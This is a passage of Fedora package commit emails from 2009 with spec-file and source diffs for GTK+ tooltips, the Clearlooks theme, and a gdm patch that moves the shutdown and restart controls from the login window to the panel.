 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -32,6 +32,8 @@ Patch1: system-python.patch
 Patch2: icon-padding.patch
 # from upstream
 Patch3: image-size-alloc.patch
+#
+Patch4: fresh-tooltips.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -146,6 +148,7 @@ This package contains developer document
 %patch1 -p1 -b .system-python
 %patch2 -p1 -b .icon-padding
 %patch3 -p1 -b .image-size-alloc
+%patch4 -p1 -b .fresh-tooltips
 
 %build
 libtoolize --force --copy
@@ -382,6 +385,9 @@ fi
 
 
 %changelog
+* Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-4
+- Make tooltips look nicer
+
 * Sun Oct 18 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-3
 - Fix a size allocation problem uncovered by the previous patch
 



From mclasen at fedoraproject.org  Tue Oct 20 23:41:03 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 23:41:03 +0000 (UTC)
Subject: rpms/gtk2-engines/F-12 tooltips.patch, NONE, 1.1 gtk2-engines.spec, 
	1.117, 1.118
Message-ID: <20091020234103.2FF2411C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2-engines/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8450

Modified Files:
	gtk2-engines.spec 
Added Files:
	tooltips.patch 
Log Message:
new tooltips look


tooltips.patch:
 gtkrc |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE tooltips.patch ---
diff -up gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc.tooltips gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc
--- gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc.tooltips	2009-10-20 01:32:51.983815244 -0400
+++ gtk-engines-2.18.4/themes/Clearlooks/gtk-2.0/gtkrc	2009-10-20 01:33:54.959815965 -0400
@@ -1,7 +1,7 @@
 
 # Please keep this gtkrc in sync with the other ones from Clearlooks based themes.
 
-gtk-color-scheme = "base_color:#ffffff\nfg_color:#000000\ntooltip_fg_color:#000000\nselected_bg_color:#86ABD9\nselected_fg_color:#ffffff\ntext_color:#1A1A1A\nbg_color:#EDECEB\ntooltip_bg_color:#F5F5B5"
+gtk-color-scheme = "base_color:#ffffff\nfg_color:#000000\ntooltip_fg_color:#000000\nselected_bg_color:#86ABD9\nselected_fg_color:#ffffff\ntext_color:#1A1A1A\nbg_color:#EDECEB\ntooltip_bg_color:#F0F0FF"
 
 style "default" {
 	xthickness = 1
@@ -276,7 +276,7 @@ style "treeview_header" = "default" {
 }
 
 style "tooltips" {
-	xthickness = 4
+	xthickness = 8
 	ythickness = 4
 
 	bg[NORMAL]        = @tooltip_bg_color


Index: gtk2-engines.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2-engines/F-12/gtk2-engines.spec,v
retrieving revision 1.117
retrieving revision 1.118
diff -u -p -r1.117 -r1.118
--- gtk2-engines.spec	30 Sep 2009 03:22:35 -0000	1.117
+++ gtk2-engines.spec	20 Oct 2009 23:40:59 -0000	1.118
@@ -1,7 +1,7 @@
 Summary:        Theme engines for GTK+ 2.0
 Name:           gtk2-engines
 Version:        2.18.4
-Release:	1%{?dist}
+Release:	2%{?dist}
 # for details on which engines are GPL vs LGPL, see COPYING
 License:        LGPLv2+
 Group:          System Environment/Libraries
@@ -21,6 +21,8 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 # http://bugzilla.gnome.org/show_bug.cgi?id=593030
 Patch0: gtk-engines-2.18.2-change-bullet.patch
 
+Patch1: tooltips.patch
+
 %package devel
 Summary: Development files for %{name}
 Group: Development/Libraries
@@ -42,6 +44,7 @@ toolkits or operating systems.
 %setup -q -n gtk-engines-%{version}
 
 %patch0 -p1 -b .change-bullet
+%patch1 -p1 -b .tooltips
 
 %build
 %configure
@@ -81,6 +84,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/gtk-engines-2.pc
 
 %changelog
+* Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.4-2
+- New tooltip appearance
+
 * Tue Sep 29 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.4-1
 - Update to 2.18.4
 



From rstrode at fedoraproject.org  Tue Oct 20 23:45:00 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Tue, 20 Oct 2009 23:45:00 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-2.28.1-move-shutdown-functions.patch, NONE,
	1.1 gdm.spec, 1.496, 1.497
Message-ID: <20091020234500.CB89611C0081@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10887

Modified Files:
	gdm.spec 
Added Files:
	gdm-2.28.1-move-shutdown-functions.patch 
Log Message:
- Move shutdown functions to panel from login window


gdm-2.28.1-move-shutdown-functions.patch:
 Makefile.am                    |    2 
 gdm-greeter-login-window.c     |  294 --------------------------------------
 gdm-greeter-login-window.glade |  194 -------------------------
 gdm-greeter-panel.c            |  310 ++++++++++++++++++++++++++++++++++++++++-
 gdm-greeter-panel.h            |    3 
 gdm-greeter-session.c          |    4 
 test-greeter-panel.c           |    2 
 7 files changed, 314 insertions(+), 495 deletions(-)

--- NEW FILE gdm-2.28.1-move-shutdown-functions.patch ---
diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.c.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.c
--- gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.c.move-shutdown-functions	2009-10-20 18:10:14.222638248 -0400
+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.c	2009-10-20 18:16:01.124636507 -0400
@@ -37,11 +37,6 @@
 #include <errno.h>
 #include <pwd.h>
 
-#ifdef ENABLE_RBAC_SHUTDOWN
-#include <auth_attr.h>
-#include <secdb.h>
-#endif
-
 #include <glib.h>
 #include <glib/gi18n.h>
 #include <glib/gstdio.h>
@@ -59,10 +54,6 @@
 #include <dbus/dbus-glib.h>
 #include <dbus/dbus-glib-lowlevel.h>
 
-#ifdef HAVE_DEVICEKIT_POWER
-#include <devkit-power-gobject/devicekit-power.h>
-#endif
-
 #include "gdm-marshal.h"
 
 #include "gdm-settings-client.h"
@@ -97,7 +88,6 @@
 #define KEY_BANNER_MESSAGE_TEXT     KEY_GREETER_DIR "/banner_message_text"
 #define KEY_BANNER_MESSAGE_TEXT_NOCHOOSER     KEY_GREETER_DIR "/banner_message_text_nochooser"
 #define KEY_LOGO                    KEY_GREETER_DIR "/logo_icon_name"
-#define KEY_DISABLE_RESTART_BUTTONS KEY_GREETER_DIR "/disable_restart_buttons"
 #define GDM_GREETER_LOGIN_WINDOW_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), GDM_TYPE_GREETER_LOGIN_WINDOW, GdmGreeterLoginWindowPrivate))
 
 enum {
@@ -134,8 +124,6 @@ struct GdmGreeterLoginWindowPrivate
         char            *timed_login_username;
         guint            timed_login_timeout_id;
 
-        guint            sensitize_power_buttons_timeout_id;
-
         guint            login_button_handler_id;
         guint            start_session_handler_id;
 };
@@ -378,37 +366,6 @@ sensitize_widget (GdmGreeterLoginWindow 
         }
 }
 
-static gboolean
-get_show_restart_buttons (GdmGreeterLoginWindow *login_window)
-{
-        gboolean     show;
-        GError      *error;
-
-        error = NULL;
-        show = ! gconf_client_get_bool (login_window->priv->client, KEY_DISABLE_RESTART_BUTTONS, &error);
-        if (error != NULL) {
-                g_debug ("GdmGreeterLoginWindow: unable to get disable-restart-buttons configuration: %s", error->message);
-                g_error_free (error);
-        }
-
-#ifdef ENABLE_RBAC_SHUTDOWN
-        {
-                char *username;
-
-                username = g_get_user_name ();
-                if (username == NULL || !chkauthattr (RBAC_SHUTDOWN_KEY, username)) {
-                        show = FALSE;
-                        g_debug ("GdmGreeterLoginWindow: Not showing stop/restart buttons for user %s due to RBAC key %s",
-                                 username, RBAC_SHUTDOWN_KEY);
-                } else {
-                        g_debug ("GdmGreeterLoginWindow: Showing stop/restart buttons for user %s due to RBAC key %s",
-                                 username, RBAC_SHUTDOWN_KEY);
-                }
-        }
-#endif
-        return show;
-}
-
 static void
 on_login_button_clicked_timed_login (GtkButton             *button,
                                      GdmGreeterLoginWindow *login_window)
@@ -562,61 +519,6 @@ adjust_other_login_visibility(GdmGreeter
         }
 }
 
-#ifdef HAVE_DEVICEKIT_POWER
-static gboolean
-can_suspend (GdmGreeterLoginWindow *login_window)
-{
-        gboolean ret;
-        DkpClient *dkp_client;
-
-        /* use DeviceKit-power to get data */
-        dkp_client = dkp_client_new ();
-        g_object_get (dkp_client,
-                      "can-suspend", &ret,
-                      NULL);
-        g_object_unref (dkp_client);
-        return ret;
-}
-#endif
-
-static void
-remove_sensitize_power_buttons_timeout (GdmGreeterLoginWindow *login_window)
-{
-        if (login_window->priv->sensitize_power_buttons_timeout_id > 0) {
-                g_source_remove (login_window->priv->sensitize_power_buttons_timeout_id);
-                login_window->priv->sensitize_power_buttons_timeout_id = 0;
-        }
-}
-
-static gboolean
-sensitize_power_buttons_timeout (GdmGreeterLoginWindow *login_window)
-{
-        switch (login_window->priv->dialog_mode) {
-        case MODE_SELECTION:
-                sensitize_widget (login_window, "shutdown-button", TRUE);
-                sensitize_widget (login_window, "restart-button", TRUE);
-                sensitize_widget (login_window, "suspend-button", TRUE);
-                sensitize_widget (login_window, "disconnect-button", TRUE);
-                break;
-        case MODE_AUTHENTICATION:
-                break;
-        default:
-                g_assert_not_reached ();
-        }
-
-        login_window->priv->sensitize_power_buttons_timeout_id = 0;
-        return FALSE;
-}
-
-static void
-add_sensitize_power_buttons_timeout (GdmGreeterLoginWindow *login_window)
-{
-        remove_sensitize_power_buttons_timeout (login_window);
-        login_window->priv->sensitize_power_buttons_timeout_id = g_timeout_add_seconds (1,
-                                                                                   (GSourceFunc)sensitize_power_buttons_timeout,
-                                                                                   login_window);
-}
-
 static void
 switch_mode (GdmGreeterLoginWindow *login_window,
              int                    number)
@@ -624,17 +526,7 @@ switch_mode (GdmGreeterLoginWindow *logi
         const char *default_name;
         GtkWidget  *user_chooser;
         GtkWidget  *box;
-        gboolean    show_restart_buttons;
-        gboolean    show_suspend_button;
         int         number_of_tasks;
-
-        show_restart_buttons = get_show_restart_buttons (login_window);
-
-#ifdef HAVE_DEVICEKIT_POWER
-        show_suspend_button = can_suspend (login_window);
-#else
-        show_suspend_button = FALSE;
-#endif
 
         /* we want to run this even if we're supposed to
            be in the mode already so that we reset everything
@@ -643,30 +534,15 @@ switch_mode (GdmGreeterLoginWindow *logi
 
         default_name = NULL;
 
-        remove_sensitize_power_buttons_timeout (login_window);
-
         switch (number) {
         case MODE_SELECTION:
                 set_log_in_button_mode (login_window, LOGIN_BUTTON_HIDDEN);
 
                 show_widget (login_window, "cancel-button", FALSE);
 
-                show_widget (login_window, "shutdown-button",
-                             login_window->priv->display_is_local && show_restart_buttons);
-                show_widget (login_window, "restart-button",
-                             login_window->priv->display_is_local && show_restart_buttons);
-                show_widget (login_window, "suspend-button",
-                             login_window->priv->display_is_local && show_restart_buttons && show_suspend_button);
-                show_widget (login_window, "disconnect-button",
-                             ! login_window->priv->display_is_local);
-
                 show_widget (login_window, "auth-page-box", FALSE);
                 show_widget (login_window, "conversation-list", FALSE);
 
-                add_sensitize_power_buttons_timeout (login_window);
-                sensitize_widget (login_window, "shutdown-button", FALSE);
-                sensitize_widget (login_window, "restart-button", FALSE);
-                sensitize_widget (login_window, "suspend-button", FALSE);
                 sensitize_widget (login_window, "disconnect-button", FALSE);
 
                 default_name = NULL;
@@ -676,9 +552,6 @@ switch_mode (GdmGreeterLoginWindow *logi
                                              GTK_WIDGET (login_window)->allocation.width,
                                              -1);
                 show_widget (login_window, "cancel-button", TRUE);
-                show_widget (login_window, "shutdown-button", FALSE);
-                show_widget (login_window, "restart-button", FALSE);
-                show_widget (login_window, "suspend-button", FALSE);
                 show_widget (login_window, "disconnect-button", FALSE);
                 show_widget (login_window, "auth-page-box", TRUE);
 
@@ -723,32 +596,6 @@ switch_mode (GdmGreeterLoginWindow *logi
         }
 }
 
-static void
-do_disconnect (GdmGreeterLoginWindow *login_window)
-{
-        gtk_main_quit ();
-}
-
-#ifdef HAVE_DEVICEKIT_POWER
-static void
-do_suspend (GdmGreeterLoginWindow *login_window)
-{
-        gboolean ret;
-        DkpClient *dkp_client;
-        GError *error = NULL;
-
-        /* use DeviceKit-power to get data */
-        dkp_client = dkp_client_new ();
-        ret = dkp_client_suspend (dkp_client, &error);
-        if (!ret) {
-                g_warning ("Couldn't suspend: %s", error->message);
-                g_error_free (error);
-                return;
-        }
-        g_object_unref (dkp_client);
-}
-#endif
-
 static gboolean
 task_has_service_name (GdmTaskList *task_list,
                        GdmTask     *task,
@@ -1229,16 +1076,6 @@ gdm_greeter_login_window_get_property (G
 }
 
 static void
-suspend_button_clicked (GtkButton             *button,
-                        GdmGreeterLoginWindow *login_window)
-{
-#ifdef HAVE_DEVICEKIT_POWER
-        do_suspend (login_window);
-#endif
-}
-
-
-static void
 cancel_button_clicked (GtkButton             *button,
                        GdmGreeterLoginWindow *login_window)
 {
@@ -1246,125 +1083,6 @@ cancel_button_clicked (GtkButton        
 }
 
 static void
-disconnect_button_clicked (GtkButton             *button,
-                           GdmGreeterLoginWindow *login_window)
-{
-        do_disconnect (login_window);
-}
-
-static gboolean
-try_system_stop (DBusGConnection *connection,
-                 GError         **error)
-{
-        DBusGProxy      *proxy;
-        gboolean         res;
-
-        g_debug ("GdmGreeterLoginWindow: trying to stop system");
-
-        proxy = dbus_g_proxy_new_for_name (connection,
-                                           CK_NAME,
-                                           CK_MANAGER_PATH,
-                                           CK_MANAGER_INTERFACE);
-        res = dbus_g_proxy_call_with_timeout (proxy,
-                                              "Stop",
-                                              INT_MAX,
-                                              error,
-                                              /* parameters: */
-                                              G_TYPE_INVALID,
-                                              /* return values: */
-                                              G_TYPE_INVALID);
-        return res;
-}
-
-static gboolean
-try_system_restart (DBusGConnection *connection,
-                    GError         **error)
-{
-        DBusGProxy      *proxy;
-        gboolean         res;
-
-        g_debug ("GdmGreeterLoginWindow: trying to restart system");
-
-        proxy = dbus_g_proxy_new_for_name (connection,
-                                           CK_NAME,
-                                           CK_MANAGER_PATH,
-                                           CK_MANAGER_INTERFACE);
-        res = dbus_g_proxy_call_with_timeout (proxy,
-                                              "Restart",
-                                              INT_MAX,
-                                              error,
-                                              /* parameters: */
-                                              G_TYPE_INVALID,
-                                              /* return values: */
-                                              G_TYPE_INVALID);
-        return res;
-}
-
-static void
-do_system_restart (GdmGreeterLoginWindow *login_window)
-{
-        gboolean         res;
-        GError          *error;
-        DBusGConnection *connection;
-
-        error = NULL;
-        connection = dbus_g_bus_get (DBUS_BUS_SYSTEM, &error);
-        if (connection == NULL) {
-                g_warning ("Unable to get system bus connection: %s", error->message);
-                g_error_free (error);
-                return;
-        }
-
-        res = try_system_restart (connection, &error);
-        if (!res) {
-                g_debug ("GdmGreeterLoginWindow: unable to restart system: %s: %s",
-                         dbus_g_error_get_name (error),
-                         error->message);
-		g_error_free (error);
-        }
-}
-
-static void
-do_system_stop (GdmGreeterLoginWindow *login_window)
-{
-        gboolean         res;
-        GError          *error;
-        DBusGConnection *connection;
-
-        error = NULL;
-        connection = dbus_g_bus_get (DBUS_BUS_SYSTEM, &error);
-        if (connection == NULL) {
-                g_warning ("Unable to get system bus connection: %s", error->message);
-                g_error_free (error);
-                return;
-        }
-
-        res = try_system_stop (connection, &error);
-        if (!res) {
-                g_debug ("GdmGreeterLoginWindow: unable to stop system: %s: %s",
-                         dbus_g_error_get_name (error),
-                         error->message);
-                g_error_free (error);
-        }
-}
-
-static void
-restart_button_clicked (GtkButton             *button,
-                        GdmGreeterLoginWindow *login_window)
-{
-        g_debug ("GdmGreeterLoginWindow: restart button clicked");
-        do_system_restart (login_window);
-}
-
-static void
-shutdown_button_clicked (GtkButton             *button,
-                         GdmGreeterLoginWindow *login_window)
-{
-        g_debug ("GdmGreeterLoginWindow: stop button clicked");
-        do_system_stop (login_window);
-}
-
-static void
 on_user_chooser_visibility_changed (GdmGreeterLoginWindow *login_window)
 {
         update_banner_message (login_window);
@@ -1877,20 +1595,9 @@ load_theme (GdmGreeterLoginWindow *login
         /*make_label_small_italic (login_window->priv->auth_banner_label);*/
         login_window->priv->auth_page_box = glade_xml_get_widget (login_window->priv->xml, "auth-page-box");
 
-        button = glade_xml_get_widget (login_window->priv->xml, "suspend-button");
-        g_signal_connect (button, "clicked", G_CALLBACK (suspend_button_clicked), login_window);
-
         button = glade_xml_get_widget (login_window->priv->xml, "cancel-button");
         g_signal_connect (button, "clicked", G_CALLBACK (cancel_button_clicked), login_window);
 
-        button = glade_xml_get_widget (login_window->priv->xml, "disconnect-button");
-        g_signal_connect (button, "clicked", G_CALLBACK (disconnect_button_clicked), login_window);
-
-        button = glade_xml_get_widget (login_window->priv->xml, "restart-button");
-        g_signal_connect (button, "clicked", G_CALLBACK (restart_button_clicked), login_window);
-        button = glade_xml_get_widget (login_window->priv->xml, "shutdown-button");
-        g_signal_connect (button, "clicked", G_CALLBACK (shutdown_button_clicked), login_window);
-
         create_computer_info (login_window);
 
         box = glade_xml_get_widget (login_window->priv->xml, "computer-info-event-box");
@@ -2484,8 +2191,6 @@ gdm_greeter_login_window_finalize (GObje
                 g_object_unref (login_window->priv->client);
         }
 
-        remove_sensitize_power_buttons_timeout (login_window);
-
         G_OBJECT_CLASS (gdm_greeter_login_window_parent_class)->finalize (object);
 }
 
diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.glade.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.glade
--- gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.glade.move-shutdown-functions	2009-10-20 18:10:14.224636470 -0400
+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.glade	2009-10-20 18:10:14.326876724 -0400
@@ -337,200 +337,6 @@
 		  <property name="spacing">6</property>
 
 		  <child>
-		    <widget class="GtkButton" id="disconnect-button">
-		      <property name="visible">True</property>
-		      <property name="can_focus">True</property>
-		      <property name="label">gtk-disconnect</property>
-		      <property name="use_stock">True</property>
-		      <property name="relief">GTK_RELIEF_NORMAL</property>
-		      <property name="focus_on_click">True</property>
-		    </widget>
-		  </child>
-
-		  <child>
-		    <widget class="GtkButton" id="suspend-button">
-		      <property name="visible">True</property>
-		      <property name="can_default">True</property>
-		      <property name="has_default">True</property>
-		      <property name="can_focus">True</property>
-		      <property name="relief">GTK_RELIEF_NORMAL</property>
-		      <property name="focus_on_click">True</property>
-
-		      <child>
-			<widget class="GtkHBox" id="hbox3">
-			  <property name="visible">True</property>
-			  <property name="homogeneous">False</property>
-			  <property name="spacing">0</property>
-
-			  <child>
-			    <widget class="GtkImage" id="image9">
-			      <property name="visible">True</property>
-			      <property name="icon_name">media-playback-pause</property>
-			      <property name="pixel_size">16</property>
-			      <property name="xalign">0.5</property>
-			      <property name="yalign">0.5</property>
-			      <property name="xpad">0</property>
-			      <property name="ypad">0</property>
-			    </widget>
-			    <packing>
-			      <property name="padding">0</property>
-			      <property name="expand">True</property>
-			      <property name="fill">True</property>
-			    </packing>
-			  </child>
-
-			  <child>
-			    <widget class="GtkLabel" id="label4">
-			      <property name="visible">True</property>
-			      <property name="label" translatable="yes">Suspend</property>
-			      <property name="use_underline">False</property>
-			      <property name="use_markup">False</property>
-			      <property name="justify">GTK_JUSTIFY_LEFT</property>
-			      <property name="wrap">False</property>
-			      <property name="selectable">False</property>
-			      <property name="xalign">0</property>
-			      <property name="yalign">0.5</property>
-			      <property name="xpad">0</property>
-			      <property name="ypad">0</property>
-			      <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-			      <property name="width_chars">-1</property>
-			      <property name="single_line_mode">False</property>
-			      <property name="angle">0</property>
-			    </widget>
-			    <packing>
-			      <property name="padding">0</property>
-			      <property name="expand">True</property>
-			      <property name="fill">True</property>
-			    </packing>
-			  </child>
-			</widget>
-		      </child>
-		    </widget>
-		  </child>
-
-		  <child>
-		    <widget class="GtkButton" id="restart-button">
-		      <property name="visible">True</property>
-		      <property name="can_default">True</property>
-		      <property name="has_default">True</property>
-		      <property name="can_focus">True</property>
-		      <property name="relief">GTK_RELIEF_NORMAL</property>
-		      <property name="focus_on_click">True</property>
-
-		      <child>
-			<widget class="GtkHBox" id="hbox1">
-			  <property name="visible">True</property>
-			  <property name="homogeneous">False</property>
-			  <property name="spacing">0</property>
-
-			  <child>
-			    <widget class="GtkImage" id="image7">
-			      <property name="visible">True</property>
-			      <property name="icon_name">view-refresh</property>
-			      <property name="pixel_size">16</property>
-			      <property name="xalign">0.5</property>
-			      <property name="yalign">0.5</property>
-			      <property name="xpad">0</property>
-			      <property name="ypad">0</property>
-			    </widget>
-			    <packing>
-			      <property name="padding">0</property>
-			      <property name="expand">True</property>
-			      <property name="fill">True</property>
-			    </packing>
-			  </child>
-
-			  <child>
-			    <widget class="GtkLabel" id="label2">
-			      <property name="visible">True</property>
-			      <property name="label" translatable="yes">Restart</property>
-			      <property name="use_underline">False</property>
-			      <property name="use_markup">False</property>
-			      <property name="justify">GTK_JUSTIFY_LEFT</property>
-			      <property name="wrap">False</property>
-			      <property name="selectable">False</property>
-			      <property name="xalign">0</property>
-			      <property name="yalign">0.5</property>
-			      <property name="xpad">0</property>
-			      <property name="ypad">0</property>
-			      <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-			      <property name="width_chars">-1</property>
-			      <property name="single_line_mode">False</property>
-			      <property name="angle">0</property>
-			    </widget>
-			    <packing>
-			      <property name="padding">0</property>
-			      <property name="expand">True</property>
-			      <property name="fill">True</property>
-			    </packing>
-			  </child>
-			</widget>
-		      </child>
-		    </widget>
-		  </child>
-
-		  <child>
-		    <widget class="GtkButton" id="shutdown-button">
-		      <property name="visible">True</property>
-		      <property name="can_default">True</property>
-		      <property name="has_default">True</property>
-		      <property name="can_focus">True</property>
-		      <property name="relief">GTK_RELIEF_NORMAL</property>
-		      <property name="focus_on_click">True</property>
-
-		      <child>
-			<widget class="GtkHBox" id="hbox4">
-			  <property name="visible">True</property>
-			  <property name="homogeneous">False</property>
-			  <property name="spacing">0</property>
-
-			  <child>
-			    <widget class="GtkImage" id="image5">
-			      <property name="visible">True</property>
-			      <property name="icon_name">system-shutdown</property>
-			      <property name="pixel_size">16</property>
-			      <property name="xalign">0.5</property>
-			      <property name="yalign">0.5</property>
-			      <property name="xpad">0</property>
-			      <property name="ypad">0</property>
-			    </widget>
-			    <packing>
-			      <property name="padding">0</property>
-			      <property name="expand">True</property>
-			      <property name="fill">True</property>
-			    </packing>
-			  </child>
-
-			  <child>
-			    <widget class="GtkLabel" id="label10">
-			      <property name="visible">True</property>
-			      <property name="label" translatable="yes">Shut Down</property>
-			      <property name="use_underline">False</property>
-			      <property name="use_markup">False</property>
-			      <property name="justify">GTK_JUSTIFY_LEFT</property>
-			      <property name="wrap">False</property>
-			      <property name="selectable">False</property>
-			      <property name="xalign">0.5</property>
-			      <property name="yalign">0.5</property>
-			      <property name="xpad">0</property>
-			      <property name="ypad">0</property>
-			      <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-			      <property name="width_chars">-1</property>
-			      <property name="single_line_mode">False</property>
-			      <property name="angle">0</property>
-			    </widget>
-			    <packing>
-			      <property name="padding">0</property>
-			      <property name="expand">True</property>
-			      <property name="fill">True</property>
-			    </packing>
-			  </child>
-			</widget>
-		      </child>
-		    </widget>
-		  </child>
-
-		  <child>
 		    <widget class="GtkButton" id="cancel-button">
 		      <property name="visible">True</property>
 		      <property name="can_focus">True</property>
diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.c.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.c
--- gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.c.move-shutdown-functions	2009-10-19 18:12:45.000000000 -0400
+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.c	2009-10-20 18:10:14.338886522 -0400
@@ -27,12 +27,22 @@
 #include <unistd.h>
 #include <string.h>
 
+#ifdef ENABLE_RBAC_SHUTDOWN
+#include <auth_attr.h>
+#include <secdb.h>
+#endif
+
 #include <glib.h>
 #include <glib/gi18n.h>
 #include <glib-object.h>
 #include <gtk/gtk.h>
 
 #include <gconf/gconf-client.h>
+#include <dbus/dbus-glib.h>
+
+#ifdef HAVE_DEVICEKIT_POWER
+#include <devkit-power-gobject/devicekit-power.h>
+#endif
 
 #include "gdm-languages.h"
 #include "gdm-layouts.h"
@@ -46,6 +56,16 @@
 
 #include "na-tray.h"
 
+#define CK_NAME              "org.freedesktop.ConsoleKit"
+#define CK_MANAGER_PATH      "/org/freedesktop/ConsoleKit/Manager"
+#define CK_MANAGER_INTERFACE "org.freedesktop.ConsoleKit.Manager"
+
+#define GPM_DBUS_NAME      "org.freedesktop.PowerManagement"
+#define GPM_DBUS_PATH      "/org/freedesktop/PowerManagement"
+#define GPM_DBUS_INTERFACE "org.freedesktop.PowerManagement"
+
+#define KEY_DISABLE_RESTART_BUTTONS "/apps/gdm/simple-greeter/disable_restart_buttons"
+
 #define GDM_GREETER_PANEL_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), GDM_TYPE_GREETER_PANEL, GdmGreeterPanelPrivate))
 
 struct GdmGreeterPanelPrivate
@@ -57,6 +77,8 @@ struct GdmGreeterPanelPrivate
         GtkWidget              *option_hbox;
         GtkWidget              *hostname_label;
         GtkWidget              *clock;
+        GtkWidget              *shutdown_button;
+        GtkWidget              *shutdown_menu;
         GtkWidget              *language_option_widget;
         GtkWidget              *layout_option_widget;
         GtkWidget              *session_option_widget;
@@ -66,11 +88,15 @@ struct GdmGreeterPanelPrivate
 
         char                   *default_session_name;
         char                   *default_language_name;
+
+        GConfClient            *client;
+        guint                   display_is_local : 1;
 };
 
 enum {
         PROP_0,
-        PROP_MONITOR
+        PROP_MONITOR,
+        PROP_DISPLAY_IS_LOCAL
 };
 
 enum {
@@ -107,6 +133,13 @@ gdm_greeter_panel_set_monitor (GdmGreete
 }
 
 static void
+_gdm_greeter_panel_set_display_is_local (GdmGreeterPanel       *panel,
+                                         gboolean               is)
+{
+        panel->priv->display_is_local = is;
+}
+
+static void
 gdm_greeter_panel_set_property (GObject        *object,
                                 guint           prop_id,
                                 const GValue   *value,
@@ -120,6 +153,9 @@ gdm_greeter_panel_set_property (GObject 
         case PROP_MONITOR:
                 gdm_greeter_panel_set_monitor (self, g_value_get_int (value));
                 break;
+        case PROP_DISPLAY_IS_LOCAL:
+                _gdm_greeter_panel_set_display_is_local (self, g_value_get_boolean (value));
+                break;
         default:
                 G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
                 break;
@@ -140,6 +176,9 @@ gdm_greeter_panel_get_property (GObject 
         case PROP_MONITOR:
                 g_value_set_int (value, self->priv->monitor);
                 break;
+        case PROP_DISPLAY_IS_LOCAL:
+                g_value_set_boolean (value, self->priv->display_is_local);
+                break;
         default:
                 G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
                 break;
@@ -477,6 +516,13 @@ gdm_greeter_panel_class_init (GdmGreeter
                                                            G_MAXINT,
                                                            0,
                                                            G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
+        g_object_class_install_property (object_class,
+                                         PROP_DISPLAY_IS_LOCAL,
+                                         g_param_spec_boolean ("display-is-local",
+                                                               "display is local",
+                                                               "display is local",
+                                                               FALSE,
+                                                               G_PARAM_READWRITE | G_PARAM_CONSTRUCT_ONLY));
 
         g_type_class_add_private (klass, sizeof (GdmGreeterPanelPrivate));
 }
@@ -563,6 +609,216 @@ on_animation_tick (GdmGreeterPanel *pane
         gtk_widget_queue_resize (GTK_WIDGET (panel));
 }
 
+static gboolean
+try_system_stop (DBusGConnection *connection,
+                 GError         **error)
+{
+        DBusGProxy      *proxy;
+        gboolean         res;
+
+        g_debug ("GdmGreeterPanel: trying to stop system");
+
+        proxy = dbus_g_proxy_new_for_name (connection,
+                                           CK_NAME,
+                                           CK_MANAGER_PATH,
+                                           CK_MANAGER_INTERFACE);
+        res = dbus_g_proxy_call_with_timeout (proxy,
+                                              "Stop",
+                                              INT_MAX,
+                                              error,
+                                              /* parameters: */
+                                              G_TYPE_INVALID,
+                                              /* return values: */
+                                              G_TYPE_INVALID);
+        return res;
+}
+
+static gboolean
+try_system_restart (DBusGConnection *connection,
+                    GError         **error)
+{
+        DBusGProxy      *proxy;
+        gboolean         res;
+
+        g_debug ("GdmGreeterPanel: trying to restart system");
+
+        proxy = dbus_g_proxy_new_for_name (connection,
+                                           CK_NAME,
+                                           CK_MANAGER_PATH,
+                                           CK_MANAGER_INTERFACE);
+        res = dbus_g_proxy_call_with_timeout (proxy,
+                                              "Restart",
+                                              INT_MAX,
+                                              error,
+                                              /* parameters: */
+                                              G_TYPE_INVALID,
+                                              /* return values: */
+                                              G_TYPE_INVALID);
+        return res;
+}
+
+static gboolean
+can_suspend (void)
+{
+        gboolean ret = FALSE;
+
+#ifdef HAVE_DEVICEKIT_POWER
+        DkpClient *dkp_client;
+
+        /* use DeviceKit-power to get data */
+        dkp_client = dkp_client_new ();
+        g_object_get (dkp_client,
+                      "can-suspend", &ret,
+                      NULL);
+        g_object_unref (dkp_client);
+#endif
+
+        return ret;
+}
+
+static void
+do_system_suspend (void)
+{
